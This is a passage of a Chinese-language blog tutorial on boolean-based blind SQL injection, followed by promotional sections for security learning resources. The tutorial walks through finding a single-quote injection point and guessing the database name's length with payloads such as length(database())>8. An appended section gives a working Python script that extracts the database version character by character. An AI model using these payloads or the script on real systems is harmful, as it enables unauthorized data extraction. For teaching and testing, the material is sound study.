SQL注入-布尔盲注_布尔注入length()

我们再给一个不存在的id , ?id=-1 , id肯定不能为负数,数据库查不到,肯定是登录不成功

只有登录成功和失败两种情况 ,  页面没有显示位也没有报错 , 满足布尔盲注的条件

接下来测试注入点 , 已知id=1时可以正常登录 , 我们给它加个单引号’ , 看会不会对结果造成影响

登录失败 , id=1正常登录 , 但加了个单引号’ 就登录失败 , 说明单引号’ 会影响SQL的执行,即 存在注入

我们再加一个true , 使SQL恒成立 , 又登录成功了

改成false , 使SQL恒不成立 , 又登录失败了

至此 , 我们可以确定 , 后端的SQL使用单引号’ 来包裹参数 , 固 单引号字符串型注入

第二步,脱库

我们使用 length() 判断当前使用的数据库的名字的长度

?id=1' and length(database())>1 -- a

如果数据库名字的长度大于1 , 那上面的 length(database())>1 的结果就是 true , 也就是这样

?id=1' and true -- a

使SQL恒成立 , 从而登录成功

长度从1开始测试 , 每次加一个长度 , 当长度不满足条件时 , 比如

?id=1' and length(database())>8 -- a

如果长度不大于8 , 那 length(database())>8 的结果就是 false , 也就是这样

?id=1' and false -- a

使SQL恒不成立 , 从而登录不成功 , 由此我们可知 , 数据库名字的长度为 8

判断完长度以后 , 我们再猜数据库的名字



### 一、网安学习成长路线图


网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/aa7be04dc8684d7ea43acc0151aebbf1.png)


### 二、网安视频合集


观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/f0aeee2eec7a48f4ad7d083932cb095d.png)


### 三、精品网安学习书籍


当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/078ea1d4cda342f496f9276a4cda5fcf.png)


### 四、网络安全源码合集+工具包


光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/e54c0bac8f3049928b488dc1e5080fc5.png)


### 五、网络安全面试题


最后就是大家最关心的网络安全面试题板块  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/15c1192cad414044b4dd41f3df44433d.png)![在这里插入图片描述](https://img-blog.csdnimg.cn/b07abbfab1fd4edc800d7db3eabb956e.png)  

### SQL 注入布尔盲注攻击原理 布尔盲注是一种特殊的SQL注入技术,在这种情况下,应用程序不会返回任何错误消息或查询结果给攻击者。相反,通过发送特制的请求并观察应用响应的变化来推断数据库中的数据[^2]。 ### 布尔盲注攻击示例 为了演示如何利用布尔盲注漏洞,下面是一个简单的Python脚本例子: ```python import requests target_url = "http://example.com/vulnerable_page" true_condition_response_length = None def get_true_condition_response(): payload = "?id=1 AND 1=1" response = requests.get(target_url + payload) return len(response.text) def is_true_condition(payload): global true_condition_response_length if not true_condition_response_length: true_condition_response_length = get_true_condition_response() response = requests.get(target_url + payload) return len(response.text) == true_condition_response_length def extract_version_number(): version = "" for position in range(1, 9): # Assuming max length of version number as 8 found_char = False for char_code in range(32, 127): # ASCII printable characters test_payload = f"?id=1 AND ascii(substring(@@version,{position},1))={char_code}" if is_true_condition(test_payload): version += chr(char_code) print(f"[+] Found character {chr(char_code)} at position {position}") found_char = True break if not found_char: break return version if __name__ == "__main__": dbms_version = extract_version_number() print(f"The extracted DBMS version is: {dbms_version}") ``` 此代码片段展示了如何使用布尔条件判断服务器对于不同输入做出的不同反应,从而逐步获取有关底层数据库的信息。请注意这仅用于教育目的,并不应在未经授权的情况下测试真实网站。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值